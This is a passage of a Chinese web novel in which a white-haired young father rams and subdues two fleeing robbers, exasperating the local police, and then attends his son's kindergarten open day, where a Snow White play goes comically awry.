“系了。”白予安举起小手。 “好。”白榆估摸了下宋时蔚这辆车的性能,迅速提速,马达发出轰鸣声,保持着极快的速度超过了前面的警车后,一点不避让的直接开车朝着劫匪驾驶的小车撞了过去。 宋时蔚的车看起来低调,但价格摆在那呢,性能当然没的说。而且白榆第一次开的时候,就发现了,这车改装过,全车都加固过,这样直接撞上去一点问题都没有。 车上的两个劫匪明显没想过,有人会这么神经,被撞了一下后,身体前倾,慌乱的打着方向盘。 “艹,便衣。”开车的劫匪仔细看了眼,下意识地大喊出口,“还是染着白毛的小白脸杀马特便衣。” 白榆:╰_╯#### 他听到了。 谁是杀马特啊! 白榆猛踩油门,继续提速,在那辆小车想溜掉的时候,方向盘突然一转,车身猛地一甩,毫不留情的撞到对方的车上。 两个劫匪没想到碰到这么不要命的‘警察’,但现在也没办法了。 小车猛地一抖,被撞了个正着,轮胎贴着地面一阵滑行,呲出一片火花,直直的撞到了护栏上。 开车的那个劫匪,在冲击下撞到了,直接昏了过去。 山哥脸色发白,握着刀的手心一直在出汗,心脏快从嗓子眼跳出来了。 他他他,他妈的。他们两个不就是半夜去偷了个金店,然后被一小妞发现,捅了一刀后,被发现了吗。 至于派一个染着白头发的特警过来抓他们吗。 后面的警车马上就要追上来了,山哥心一狠,左右都是完蛋,干脆提起砍刀冲了出去。 “艹。” 另一边,宋时蔚车上。 白榆看前面的车动弹不了了,心里舒服了。 就在白榆爽的时候,他肚子很不合时宜的发出了‘咕咕咕’的声音。 宋时蔚面色如常的问道:“饿了?” 白榆:“……嗯。” 宋时蔚轻轻笑了一声,“一会去吃什么?” “一会去警局吃肯德基。”白榆非常熟练的说道。 宋时蔚:“……” 宋时蔚拿了一片口香糖出来,“吃吗,甜的。” 白榆:难不成还有咸的口香糖。 虽然心里在吐槽,但白榆身体还是非常诚实的把甜的口香糖拿了过来。 就在白榆咬着口香糖的时候,劫匪非常不会看气氛的跑了过来。 “操你妈。”劫匪两只眼睛通红,提起刀就对着车门敲。 然后……无事发生。 “他怎么还醒着。”白榆试图用口香糖吹个泡泡,结果没成功。 “你他妈的……” 白榆被吵烦了,把门打开了。 劫匪用手扒着车门,打算冲进去,劫持一个他就有机会,他就能跑掉了。 白榆顾忌了一下宋时蔚的车,毕竟不是他的。 他把安全带解开了,没阻止劫匪的动作。 就在劫匪把门打开,准备爬进来的时候,在车内这点空间的情况下,白榆以一个极为刁钻的姿势一脚踹在了劫匪腹部。 一道优美的抛物线在空中产生了。 从车上跑下来的警察:“……” 踢完人之后,白榆长长的呼出一口气,心里的那些烦闷彻底统统消失不见了。 啊,舒服多了。 白榆怕安安被吓到了,回过头去看了一眼。 白予安正趴在车窗玻璃上,小脸怼在上面,看着外面挣扎着睁开了一下眼睛,最后又合上的劫匪,吐了下舌头。 略略略略。 * * * 白榆小的时候特别瘦,瘦到皮包骨头那种。 以至于叶林看见白榆的第一眼,产生了某个巨大的误会——他弟弟手无缚鸡之力,经常被人欺负。 再加上白榆从小就命犯小人。小的时候在学校里遇到高年级的把他当父母不管的有钱人家小孩,被勒索霸凌。一个人出门在外能遇见‘捡孩子’的恋童癖变态。在大点就更离谱了,他随便出个远门遇到点小偷小摸,都已经算是今天的坏人暂时还没找上来。 次数多了,连白榆自己都觉得,他是不是就真的和陆莫宁说的一样,不该活下来。 在陆莫宁没走之前,叶林每年过年都带白榆去庙里上香,见大师…………当然没什么用。 叶林从小就专门请了老师,交白榆一些‘防身’的本领。 主要是为了自家弟弟能从小鸟锻炼成雄鹰,保护好自己不被欺负。 叶林那个时候很忙,经常国内国外的到处飞。虽然不知道为什么教白榆‘防身’的老师一个接一个的请辞,走之前还不忘推荐其他的人来教白榆,但因为不是什么大事,他也就一直都没有去管。 至于学校三天两头的请家长,国内的助理动不动去派出所捞人,这种事在有着八百米滤镜的叶林眼里,一般选择性的当做看不见。 他弟弟手无缚鸡之力,都是别人的错。 这样的人生错觉一直持续到有一天,叶林眼睁睁的看着,他弟弟把那么厚的一块铁板一拳头给打弯了。 叶林:0.0 叶林还没从刚才震撼的一幕中缓过神,负责教白榆‘防身’的老师,热泪盈眶的告诉他,自己后继有人了。 那时候滤镜再厚,叶林也反应过来一件事了,他弟没有锻炼成雄鹰,直接进化成哥斯拉了。 自那以后,白榆就没在上过‘防身课’了。 他家多了一位,每天在他耳边叨叨爱意与和平的教育学专家。 去庙里求的也不止在是让他不继续命犯小人了,他每次去都专门找大师点拨,让白榆学学佛经,为人处事能心平气和。 ……当然也没什么用。 苏城警方也多了一位颠覆他们认知的‘问题少年’,动不动的在刺激他们心脏。 地面上清晰的留着几道轮胎剧烈摩擦后的痕迹,车玻璃碎了一地,路旁的护栏更是被直接撞变了形,空中还散发着一股子的焦味。 两个劫匪,一个昏倒在了车上,另一个半死不活的在地上躺着。 刚从车上下来,目睹了前因后果的年轻警察,结结巴巴的说道:“报,报,报警。” 救命! 前面有一个染着白头发的疯子!!! “报个屁的警。”唐存浩从警车上下来,冲年轻的警察怒吼,一巴掌呼他头上。 唐存浩三步并两步的走到‘罪魁祸首’面前,一把把快要偷偷合上的车门拉开,冲着里面歇斯底里的大喊,“你在发什么疯!脑子有问题吗?” 白榆被吼的往后一仰,揉了揉耳朵,“?” 白榆眨了眨眼,满脸无辜指了指自己说,“我吗?我见义勇为啊。” 唐存浩被他堵得说不出话,捂住心口深呼吸。 这死小子,怎么不去国外上大学。 白榆伸长脖子往外看了一眼,丝毫没觉得自己哪里做错了,理直气壮,“修路的钱我也出。人我有分寸的,肯定死不了。” 唐存浩被白榆的理直气壮噎的心梗。 你真的有分寸吗? 你能有什么分寸? 还有什么叫死不了? 你以为你是在拍什么m国动作大片吗?!! 唐存浩被气快呼吸不过来,忽然想起这货,谈了个大很多的男朋友,他记得上次见人还挺稳重的。 唐存浩够着脖子往宋时蔚那看,结果这个人,态度温和,一脸纵容的样子。 什么! 等等! 他难道不打算管管这死货,这个凶样子吗? 白予安把安全带解开,像只软体动物一样从后面钻了过来,坐在白榆身上。 白予安两只小手在空中比划,眼睛亮亮的,骄傲地对警察叔叔说,“我爸爸是超人。” 白榆忽的沉默了,刚才的嚣张的气焰,嗖的一下就跑没了。 他有些尴尬。 宋时蔚把安全带解开,声音中带着些许笑意,“嗯,是超人。” 白榆的脸快烧起来了。 唐存浩看着正在散发热源的某人,跟着喊了一声,“超人。” 白榆冷冷地说道;“你有病吗?” 唐存浩的额角突突的跳。 气死老子了。 被双标对待的某人愤怒的走开。 有了媳妇忘了娘。 第62章 “唐哥。”年轻的小警察跑了过来, 显然他还没从刚才那一幕中回过神,磕磕绊绊的说,“我, 你……那个他,怎,怎么办。” “还能怎么办,给在前面埋伏的兄弟讲一下不用了,人已经抓到了, 然后……”唐存浩看了眼倒在地上的劫匪,“赶紧叫救护车啊。” 接下来的流程白榆就很熟悉了, 他坐上熟悉警车,跟着别人回到他熟悉的警局,和以前稍微有些不一样的是,他这次还拖家带口的。 白予安不知道是不是已经睡好了,好奇的在警车里,左看看,右摸摸的……把人家还没从阴影中走出来的年轻小警察, 吓的瑟瑟发抖。 小警察:好可怕QAQ 白榆坐在车上,装作睡过去的样子,小心地睁开眼偷偷瞄了一眼宋时蔚。 活了二十年,白榆头一次有自觉, 他的某些行为是不是对正常人不太友好。 这个认知,要是能被唐存浩知道,估计能感动的当场哭出来。 宋时蔚注意到白榆的小动作,“怎么了?” 白榆有些不好意思,蜷缩起手指,另一只手盖住手背, “没怎么,我……” 宋时蔚明显和白榆在一个频道上,他看着白榆的手,皱起眉,“手划伤了。” 他刚一直看着的,不应该才对。 宋时蔚牵起白榆的手腕,白榆也没挣扎,任由宋时蔚把他的手拉走。 白榆一下没反应过来,“不,没。” 宋时蔚拉过白榆的手,仔细看了一会,确定没有受伤后,放松下来,叮嘱道:“下次记得小心点。” 小孩嘛,偶尔打架也很正常,注意安全就好。 白予安坐在宋时蔚旁边,用力伸着小脑袋,往爸爸那边看,小手隔空对白榆够了够,“爸爸,你没事吧?” “我没事。”白榆觉得有哪里不对,但宋时蔚和安安的态度都太自然了,他也没多想了。 刚收到消息,两个劫匪一个脑震荡,一个还需要继续检查的唐存浩:“……” 什么锅配什么盖。 三个神经病。 到警局后,唐存浩果断地把三个神经病扔给吴昊了,自己赶紧跑走处理别的事了。 白榆左右看了一圈,问道:“那两个劫匪呢?” 从别人口中得知事情经过的吴昊,深沉的看了他一眼,大声反问道:“你觉得呢?” 白榆:“?” “他们不去医院还能去哪?太平间吗?”吴昊嗓子吼的有点疼,年纪没有很大,却一把年纪一样捧着保温杯喝了口枸杞泡水,问道,“你怎么不把人打死。” 白榆双手插兜,撇了撇嘴,“不是没死。” 吴昊长长的叹出一口气,开始叨叨,“你知不知道这样很危险,而且很吓人,就算那两个劫匪的命不是命,那也不是你能……” 吴昊的话一顿,他忽然发现有人在盯着他,白榆的腿后面,露出个小脑袋,一双圆圆的眼睛盯着他看。 白予安:盯—— 吴昊忽然有些上不来气,觉得这辈子的力气都没了,“去做笔录吧,做完了记得出来找我。” 白榆没想到他这么快就不叨了,“……哦。” 白榆对做笔录这项流程很熟悉,他很快就弄完了。晚上也和他之前说的一样,他们在派出所吃了肯德基,吴昊自掏腰包买的。 宋时蔚和安安都没怎么吃,白榆一个人吃了快一个全家桶。他晚饭那会没吃什么东西,这会心情好了,一个人吃两个人的分。 宋时蔚的车撞是撞了,但没出什么大问题,还能开上路。 白榆凑合的发动车子,回想起刚唐存浩说给他们申请见义勇为奖金的事。 不知道够不够修车的零头,白榆有些心虚的想道。 车开回宋时蔚屋子的时候,已经凌晨了,白榆把车停好,说道:“到了。” 白予安非常自觉的打开车门,从车上跳了下去。 白榆往旁边看,宋时蔚像酒劲上来了,眯着眼睛没说话。 白榆没解安全带,又喊了一次,“到你家了。” “嗯。”宋时蔚抬手把白榆的安全带按掉,他刚喝过酒,声音带着点沙哑,“这么晚了,别开回去了。你的房间没动,上次带来的衣服洗漱用品也都在,睡一觉明天早上再说。” 宋时蔚的态度坚决,白榆又实在没什么理由能拒绝,只能答应 “……哦。” 白榆不想来宋时蔚这住,没太多原因,谁在这屋子里喝醉了对着主人又亲又摸的,都不敢来。 为了防止一不小心又看见宋时蔚刚洗完澡的样子,白榆一到屋子就跑去洗澡,洗完澡就和做贼一样小心地跑回房间里,决定不出去了。 白榆刚坐到床上就听见外面敲门声,心里一紧。 他边去开门边给自己作心里建设。 白榆,一会要目不斜视。 良好的关系需要互相维护,哪个正常人会对着小叔耍流氓的。 白榆握着门把手,一脸严肃的打开门。 “爸爸!” 白予安穿着有粉红色小花的睡衣,抱着枕头仰起小脑袋,“安安想和爸爸一起睡。” 白榆伸长脖子往外看了一眼,确定没看到宋时蔚后,把门关了,“好。” 白予安把枕头在床上摆好,快乐地跳到床上,伸开手要白榆抱,“安安洗过澡了。” 白榆也到床上,抱住了白予安。 白予安奶白奶白的,小花睡衣衬得他特别可爱,身上软乎乎的,趴在白榆身上像只会发热的大玩偶一样。 安安用脸颊贴了贴爸爸的脸,小手在白榆后背安慰似地拍拍,仰头看着爸爸说道:“安安是不是香香的。” 白榆:“香香的!” 安安刚洗完澡,身上是好闻的儿童沐浴露的味道。 “安安会翻跟头了。”白予安站在床上,双手叉腰说道,“今天在幼儿园和舒舒学的。” 白榆配合的鼓掌,“好厉害啊。” 白予安小脑袋仰的更高了一点,小手举高,准备在床上翻个头给爸爸看。 “噗嗤——” 脸着床了。 噗嗤是白榆的笑声。 白予安挣扎了两下,眼泪汪汪的从床上爬起来,“爸爸。” 白榆抿住唇,摸了摸他家崽的小脑袋,安慰道:“没关系的,不会翻也没事的。” “安安会翻。”白予安站起来,觉得刚刚只是失误。 然后……啪的一声,小脸又一次埋到了床上。 白榆胸腔浮动,努力不笑。 白予安揉了揉眼睛,坚强的站了起来。 他伸开小胳膊,准备在去翻一个,然后……又脸着床了。 白榆坐在旁边围观他家崽把自己往床上种的画面,实在没忍住笑出声了。 “哈哈哈哈哈哈。” 等宋时蔚敲门进来的时候,就看见这样一幕——白榆一动不动的看,白予安从床上跳起来,在摔下去。 一时间,居然分不清到底谁更幼稚。 “来,喝牛奶了。”宋时蔚冲白予安招了招手。 白予安红着个眼睛,哒哒哒的跑了过去。 爸爸,笑我,大坏蛋。 “喝完牛奶去漱口。晚上记得早点睡。”宋时蔚话是对着白予安说的,视线却看向白榆。 “哦。”宋时蔚一进来白榆就不笑了,爬上床。 白予安一口气把牛奶喝了下去,小脸皱在一起。 牛奶好难喝。 早睡早起,安安要长,长的比爹地还高。 要会翻跟头。 爹地应该会翻吧? 会吗? 怀着这样的疑惑,白予安漱完口也钻到了被子里。 “白榆。”宋时蔚没由来的忽然叫了一声。 白榆把闭上的眼,睁开,“嗯?” 宋时蔚看着白榆许久,缓缓开口,“我就在楼上的房间,晚上我有工作估计要通宵,睡不着可以来找我。晚安,做个好梦。” 白榆顿了顿,想起那天的聊天,也跟着说道:“晚安。” 宋时蔚离开房间前,关上了灯。 白予安睡前还在生白榆的气,睡着了之后就很快缩在白榆怀里了,均匀的呼吸洒在白榆身上。 白榆有些出神。 他和叶林几年都没见过了,今天就这么突然的又碰到了。 白榆的睡眠不好,又了安安之后才好了很多。 白榆以为自己又会睡不着了,但白榆没有想象中那么难受。 不知道是不是宋时蔚家的床太舒服了,他就这么抱着白予安,闭上眼,迷迷糊糊的睡了过去。 第63章 翌日清早, 手机的默认铃声叫个不停。 白榆翻了个身把手机按掉了,在床上痛苦的躺着。 起不来。 他躺了不到五分钟,第二个闹铃就响了。 白榆连手机都不按了, 蜷缩了一下,皱着眉继续睡。 躺在白榆旁边的小崽崽醒了,安安迷迷糊糊的站起来,找到爸爸的手机,把闹铃关掉了。 白予安拍拍白榆, “爸爸,闹铃响了。” “啊。”白榆发出无意义的嘟囔。 白予安把两只小手放在白榆脸上, 捏捏,“爸爸,要起来了,要吃早饭了。” “起来了。起来了。” 白榆皱着眉,眼睑微动,安安又叫了几声后,手支着床, 脸色不好的勉强了坐起来,眼睛都没完全睁开。 门外传来‘咚咚’的声音,有人在敲门。 “进来。”白榆还没完全醒过来,说话带着点鼻音。 “已经醒了吗。”宋时蔚开门进来, 他今天打了领带,裤管笔直,上身是一件墨色的衬衫,腰身两侧被不明显的收了进去,领尖被一条铂金领针横穿。 白榆意识还停在半梦半醒之间,眼睛不眨地看着宋时蔚。 宋时蔚轻笑了一声, “先去吃饭,吃完饭在洗漱。” 白榆点点头,穿上拖鞋,跟在宋时蔚后面走到餐桌前。 餐桌上,摆着两碗热气腾腾的云吞面,汤面上浮着点点金黄的油脂,一碗撒了点翠绿的葱花点缀,另一碗没撒。 白榆拿起筷子吃了起来。 云吞的皮很薄,透着粉嫩的内陷,白榆一口咬下去,鲜虾和猪肉的馅料里吸满了汤汁,汤底清澈浓郁,几口下去,暖意从胃里荡开。 好好吃。 白榆起床那会的难受劲好了不少,大口吃起东西。 宋时蔚给自己倒了杯煮好的咖啡,拿张报纸,坐在餐桌对面看了起来。 “你不吃吗?”白榆把嘴里的面条咽下去问道。 宋时蔚:“我吃过早饭了。” 白榆夹着云吞的手停住,反应过来,“云吞是你包的?” 宋时蔚:“嗯。跑完步,时间比较空余。就去包了一些,多的冻在冰箱里,下次在煮。” 白榆记得宋时蔚昨天晚上说他要通宵工作,他看着脸上没有一丝疲态,精力充足的宋时蔚,把云吞吞掉,沉默了。 人原来是可以不睡觉吗? 安安自己洗漱完,迈着小短腿过来吃早饭了。 小崽崽爬上凳子,自觉地开始大口吃早饭。 好吃。 白榆:“我下次做饭给你吃。” 宋时蔚翻页报纸,问道:“会做饭呢?” “我可以学。”经过上次煮面条的事,白榆不敢说做饭有手就行了,但他觉得学起来问题不大。 他说过的要对宋时蔚好。 “我想做给你吃。”白榆语气自然,琥珀色的狗狗眼明亮的看着宋时蔚。 宋时蔚动作一顿,细细地看着白榆。 白予安本来也想说,安安也想给爸爸和爹地做吃的。但安安知道现在是爹地说过的,他不合适插入的二人世界,他抱起碗开始吨吨吨的喝汤,腮帮子鼓鼓的。 安安把饭吃的很干净。 “我去洗碗。”白榆吃完饭,主动提出要去洗碗。 宋时蔚没说什么。 到厨房,白榆才发现宋时蔚家里有个功能齐全的洗碗机。他把碗筷塞进去,再启动机器,就没事干了。 白榆慢吞吞的去卫生间洗漱,对着镜子一照,才发现他头发翘毛的特别严重,一头白毛乱糟糟的在脑袋上炸开了。 白榆对着镜子顿住。 我刚才就这个样子,在宋时蔚面前晃的??? 白榆伸手拉了拉他的白毛,花了相当长一段时间,才把那头白毛搭理顺畅。 宋时蔚昨天的那辆车,一大早就被助理开走送去修了。他换了一辆车,拉着白榆和安安往幼儿园走。 作为一所定位高端并有长久建校史的私立学校,总共有一些被冠以传统的活动,比如夏季的家访,在比如现在的参观日。幼儿园把参观日办的很用心,一进门白榆就看见了被专门给布置过的校园。 “爸爸,拜拜。爹地,拜拜。”白予安挥挥小手,跟老师走了。 小崽崽们一会要表演,要提前去后台准备。 “拜拜。”白榆也跟着挥挥手,目送他家崽跟老师离开。 家长在这段准备时间里,可以自由的在学校参观。 白榆之前就和老校长在学校里转过来,和宋时蔚简单转了下,就直接先去一会进行表演的礼堂等着了。 “就是这里。”白榆看着邀请函附带的地图上的位置,“我们进去吧,” 宋时蔚:“嗯。” 白榆和宋时蔚来的算是早的,他们两到的时候,礼堂里还没有多少人,仅有的几个工作人员还在匆忙的布置舞台。 每个座位都后面都有贴孩子的名字,不过区别于其他家长的‘×××爸爸’,‘×××妈妈’。到了白榆这边贴的是‘白予安爸爸’和……‘白予安的另一个爸爸’。 宋时蔚临时有事要去处理,先出去接了个电话。 白榆背过头,在看座椅后面贴的名字,一抬头就看见了熟人——斯副校长。 家访受到的惊吓还历历在目,白榆头皮发麻,僵硬地把脖子扭回来,不敢回头了。 另一边一脸严肃地在数地上根本不存在的蚂蚁的副校长,谨慎确认白榆已经把头转过去后——转身就跑。 两人都心有余悸。 白榆摸了摸心脏,意识到一件事。 他和宋时蔚又要装情侣了。 不对。 不是情侣,在幼儿园里他们是已婚夫夫! 白榆坐在位置上不动了。 然而他不动,有的是人来找他,很快礼堂里家长越来越多,白榆周围逐渐有人走了过来。 忽然一位浑身上下散发的精英气质的家长出现在白榆面前,热情地打招呼,“安安爸爸。” 您哪位? 白榆视线一飘,去看这人刚走过来的位置上贴的名字,“小禾爸爸。” “听老师说安安可以轻松独立阅读AR 4.0级的英文绘本。方便问一下,安安在家里请的哪些老师吗?”小禾爸爸殷切地问道。 ? 白榆不知道这件事。他甚至听不懂对方在说什么。 白榆就走神了几秒,一回神,他周围迅速的围满了一圈,向他取经的孩子家长。 有人开了个头,其他家长自然也不甘落后。 有试图请教他教育方式的,“安安爸爸,您在家里都是怎么教育安安的啊。我听说您每天晚上都会专门和孩子一起学外语,太了不起了。” 白榆:“。” 有询问白予安日常的,“安安爸爸,安安平时在家里有什么特别的爱好吗?都做些什么?孩子饮食上有什么注意点吗?我经常和阿姨一起给我家孩子做营养餐,我们可以互相分享一下食谱吗?” 白榆:“……” “安安爸爸……” “安安爸爸……” 白榆:“……” 白榆被一群人层层围住,差点被人海淹没了。 他从来没想过,有一天他会被一群大他十几,二十岁的社会精英,热切地请教教育经验。 终于在一位家长不知道怎么的联想下,话题开始转到——‘安安这么聪明优秀,想来是做家长的更优秀的原因。安安爸爸平时在家都做些什么呢’时,白榆听到了‘啪’的一声。 是他的心碎声。 他那颗混了那么多年日子,都没有知觉的心脏,在今天碎了。 白榆透过层层人海,左右寻找,试图在缝隙里看到宋时蔚刚走出的那个门。 宋时蔚到底什么时候才能回来…… 好在工作人员及时赶了过来,把白榆从水深火热中拯救出来,“各位家长表演马上就要开始了。还请各自回到自己的位置上,可以吗?” “打扰安安爸爸了。” “这是我的联系方式,安安爸爸我们改天再聊。” 见人都走了,白榆把碎的心又勉强粘回去,松了口气。 他攥着手上一叠其他家长塞过来的名片,又开始头疼。 一会给宋时蔚吧。 电话是宣荣那边的联合实验室打过来的,宋时蔚和对方多聊了几句,掐着时间点,回来的时候,就接过白榆递给他的一叠名片。 宋时蔚:“?” “请教你教育经验的。”白榆清了清嗓子,他担心别人听见,刻意压低声音问道。 “安安爸爸,你平时都是怎么教育孩子的?” “可以问一下,家里请的哪个老师吗?” “安安那么优秀,想必是因为家长自己就很优秀吧。” 宋时蔚侧过头,发现白榆撇着嘴,眼里却是十足的看他笑话。 白榆刚被问烦了,偏偏宋时蔚还不在。 宋时蔚付了下眼镜,配合着对方一本正经地说道,“嗯?教育孩子。我还没什么教育孩子的经验。不过一般我会让孩子上课的时候记得带书” 白榆缓缓地别过脑袋。 宋时蔚低笑了一声,“我不太会教育孩子。不过如果是学业上的问题,我应该可以解决。生活上,我应该也能照顾好家里。至于我自己,我不算优秀。不过如果需要的话,我会尽量变成一个优秀的人。可以吗,小白同学。” 白榆被宋时蔚的回答弄的一时间说不出话来。 他摸了摸耳根,想要宋时蔚别瞎叫他。但类似的对话太多了,他发现宋时蔚每次光嘴上答应,从来没改过。 “您好,我是长沐妈妈。” 白榆在心里琢磨怎么回的时候,隔壁的位置有人走了过来。 白榆抬头和对方打招呼,“您好,我是安安爸爸。” 长沐妈妈和长沐长的很像,长的很漂亮,笑着说道,“我知道,听长沐提起您呢。旁边是您爱人吧,我们上次在陈老师那见过。” 宋时蔚礼貌地笑着和对方打招呼。 很快萧梁也赶了过来,他来的匆忙,脸上的妆都没卸干净。他的位置在长沐妈妈的旁边,两人很明显都认识,带着白榆很快攀谈了起来。 “我这两天,每天都抽时间和望舒排练。虽说表演的是白雪公主这个都听过的童话故事吧。但这还是望舒第一次演公主。”萧梁暗戳戳地说道,“我前段时间专门到国外去,给望舒定了一条裙子,就是为了望舒今天演公主的时候穿的。” 长沐妈妈不吝啬的夸着,“望舒那么漂亮,肯定好看。长沐他们班,好像是唯一一个表演话剧的班级。” 萧梁:“听说之前,还没幼儿园的孩子表演过话剧呢。” 台下的这一群家长,都对这场话剧表演充满了期待。 表演很快就开始了。 白榆一开始没觉得一群幼儿园的小崽崽,能表演出什么。但在学校和家长的积极配合下,经由专业化妆团队,造型团队,服装团队,灯光师的一系列加持。这些节目一个比一个专业。 白榆听完上面的由一群孩子组成的乐队合奏的G弦上的咏叹调,麻木的鼓掌。 下个就是安安他们班的话剧了。 第64章 随着舞台上的幕帘缓缓拉上, 再一次拉开时舞台已经布置好了,旁白随着幕帘的打开,响了起来。 【在一个遥远的国度里, 国王和王后生下了一个小公主。小公主的皮肤白得像雪一般,头发乌黑柔顺,因此国王和王后就把她取名为白雪公主】 负责念旁白的是班级里圆圆的爸爸。圆圆爸爸是播音专业出身,在电台工作多年,标准的播音腔, 又刻意放柔嗓音,念的极富感染力。 舞台上, 伴着背景音乐,萧望舒提着一条长长的裙子从后台走了出来。 与此同时,舞台下面,梅老师半蹲迈着鸭子步,快速地跑到到台下。 她压低身体,保持着一个既不会被后面摄影机拍到,也不会挡到学生家长, 还要能被舞台上的小崽崽们看见的高度,小心地蹲着。 完事具备,莫顿幼儿园大班的话剧表演正式开始。 萧望舒作为当红明星的孩子,完美的继承了父母长相上的优点。 雪白的皮肤, 乌黑的长发,还有那条梦幻般的长裙,灯光下,她迈着优雅的步伐缓缓的走来,仿佛真的是从童话中走出来的公主一样。 连白榆在小姑娘刚出来的时候,心里都下意识的哇了一声。 周围的家长小声的议论了起来。 “这孩子真漂亮啊。” “谁家的孩子啊?” “他爸爸好像是明显, 就是之前拍××男一号的那个。” 萧梁面上带着谦和的笑容,心底得到了莫大的满足,竖着耳朵听别人夸他家姑娘。 是的。 没错。 多夸点。 下一秒,萧望舒像是拎着裙子走的不耐烦了,忍不住加快了步伐,一个不小心踩到了裙摆,啪叽一声,像只小团子一样摔到了地上。 萧梁脸上的笑容逐渐凝固。 蹲在下面的梅老师,倒吸一口冷气,大惊。 台下安静了下来。 萧望舒从舞台上爬起来,非常体贴拍了拍裙子,成功把裙子拍乱了,小脸皱着抱怨道:“这裙子麻烦死了。” 萧望舒说的声音很小,但耐不住她身上带着麦,声音清晰的在礼堂内回荡着。 麻烦死了。 死了—— 萧梁不笑了。 梅老师也觉得自己快死了,她蹲在地上,努力吸引萧望舒的注意,手上比划着。 指嘴,比×。 nono! 不要说话。 萧望舒:“0.0?” 老师是什么意思哇。 好在这个小插曲很快就过去了,大家都没太放在心上,幕布被合上,随着再次拉开,第二幕开始了。 【然而好景不长,白雪公主的母亲很快就去世了。国王新娶了一位新王后,新王后非常美丽,但是个恶毒的女巫,有着一面神奇的魔镜】 扮演坏王后的小姑娘明显看起来有些不高兴,小脸嘟着,满不情愿的站在舞台上。 她的对面是个举着镜子的短头发小姑娘,一双圆溜溜的眼睛滴溜溜的往台下看。 小女孩的爸爸费力挥手:宝贝,爸爸在这里。 小女孩:诶,那里有一个哥哥的头发是白色的(☆o☆)! 小女孩的爸爸更卖力的挥手:这这这!!! 白榆低下头,小声问宋时蔚,“她是在看我吗?” 宋时蔚看了眼台上就差把眼睛粘在白榆身上的小女孩,睁着眼说瞎话,“不知道。” 小女孩一动不动的盯着白榆看。 毕竟爸爸每天都能看,白色头发的哥哥就很稀有。 ‘恶毒的王后’哼了一声,双手叉腰,头仰的高高的,不高兴的背着台词,“魔镜啊,魔镜,谁是世界上最美丽的人。” ‘魔镜’眼睛亮亮的,下意识的说道:“白色头发的哥哥。” 白榆:“?” 台下的观众:“?” 梅老师:“?!!” 第65章 负责演王后的小姑娘, 眼睛睁的圆圆的,连不高兴都忘了,呆愣愣的站着, “啊?” “啊,不,不是。”短头发的小姑娘回过神来,瞥见一脸痛苦的望着她的梅老师,紧张起来, 赶紧想台词,“是, 是白雪公主。” ‘王后’还没从刚才莫名其妙的答案中反应过来,茫然地背台词,“那我要杀死白雪公主。这样我就是最美丽的人了。” ‘魔镜’赶紧用力点头,“对的对的。” 后台,陈老师恨不得长出三头六臂,手上一秒都没闲过。 “很棒哦。知知刚才很勇敢,表演的很好。” “化妆老师, 麻烦给小树补一下妆。” “服装开口了?我马上过来。” 旁边的老师抽空过来说道:“刚才表演的时候……” “我知道。”陈老师手上不闲的给孩子整理刚搞乱的辫子,喃喃的自我安慰道,“没关系。这些都是小问题,只要接下来能顺利就行。” “陈老师!小树哭了!” “我马上过来!”陈老师喊道, 脚不沾地的走了过去。 旁边的老师眼皮一跳,有种不好的预感。 幕布来开,白雪公主的故事还在继续。 【恶毒的王后派了猎人,去杀死白雪公主,但是猎人被白雪公主的善良感……】 圆圆爸爸坐在播音室里,专业的播报着。虽然只是一个幼儿园活动, 但他为了今天,反复排练过多次,虽然没什么用…… 圆圆爸爸看见舞台上的情形,面皮一抽,努力发挥他临场应变的能力,生硬地转口。 【猎人被白雪公主的勇敢感化,和白雪公主打了起来】 舞台上,杜子良扒出腰间用作装饰的弓箭,大喊出声,“白雪公主,我是来杀你的!” 萧望舒和白雪公主不一样,她昨天才和杜子良吵过架,她才不惯着别人,说打架就真打起来了。 萧梁坐在台下看着萧望舒把脑袋上的王冠摘下来,冲着猎人用力一扔的时候,痛苦的闭上了双眼。 算了,就当没看到吧。 舞台下的梅老师和后台看到的陈老师:啊啊啊啊啊啊啊!!! 两人在心底发出西斯底里的尖叫! 梅老师从台下三步并跃上舞台,陈老师以百米冲刺的速度紧随其后,两人一人一只的把两只崽崽扒拉开了。 后台的工作人员迅速把幕布合上。 台下观众:“……” 陈老师和梅老师拉着小崽子大喘着气。 然而表演还没结束,旁白装作什么都没发生过的样子,继续把剧情走入正轨。 【白雪公主成功的战胜了猎人,和小矮人们快乐的生活在一起。可惜快乐的日子没过多久,王后得知白雪公主并没有死,她伪装成一个老婆婆,来到小矮人的木屋前,试图骗白雪公主吃下毒苹果】 舞台上,‘恶毒王后’穿着刚换上的黑色斗篷,提着一篮红苹果,嘟着嘴,不高兴地看着演公主的萧望舒,哼了一声,不情愿地说道:“你吃苹果吗?” 萧望舒的王冠刚扔掉了,头发也有些乱,刚在后台被老师再三叮嘱过还算乖巧地伸出小手说道:“吃的。” ‘王后’满不情愿的从篮子里中拿出一个红苹果,“给你。” 台下的观众:“……” 不知道有谁小声点说了一句,“这剧本改的这么……草率吗?” 其他人没说话,但心里很认同。 萧望舒咬了苹果后,很配合的倒下了。 接着七个小矮人排成长长一溜,从后台走了出来。 安安的个头最矮,走在最前面,表演用的服装不知道谁选的,小矮人的帽子高高高高的,带在安安头上,都快有他的三分之一的身高了。 安安顶着大帽子,板着小脸,眼睛却往台下看,一眼就找到爸爸了。 (*●v●)爸爸。 宋时蔚拿出专门带来的相机,给安安拍照。 几只‘小矮人’围在倒下的‘白雪公主’周围。 白予安的小圆脑袋四处张望,认真表演,“啊!白雪公主昏了过去,怎么办啊?” 同样是‘小矮人’的长沐看见台下的那么多人,用力一抖,他害怕地闭上眼睛,小手去够安安的手,抓紧安安的手,紧张的说道:“我,我们把白雪公主放到水晶棺材里吧。” 舞台上安静了一下下,其他几只小矮人顶着大帽子齐齐的转过脑袋,去看长沐。 白予安小手握住麦克风,轻轻戳了长沐一下,低头小声说道:“沐沐,你背错词了。我们现在要先对白雪公主进行治疗,失败了才能放到棺材里的。” 长沐蔚蓝大眼睛开始变得湿润,“对,对不起qaq。” 后台,陈老师看着剧本上被跳过的一大段情节,有些心累。 梅老师在旁边提醒,“陈老师……” “还好。”陈老师勉强还能定下心来,强颜欢笑,“到目前为止都还好。能演完就好。” “也……是吧。”梅老师不确定地说道。 马上就结束了,问题不大……吧。 在老师没注意到的角落里,演王后的小姑娘像只蘑菇一样蹲着,喃喃,“为什么不是我演公主?” “是抽签的结果嘛。”演魔镜的小姑娘看的很开,坐在椅子上啃苹果,热情的分享,“要吃苹果吗?还剩很多哒。” ‘王后’闷闷不乐的说,“不吃。” “好吧。”‘魔镜’自己一个人又摸了一个苹果吃。 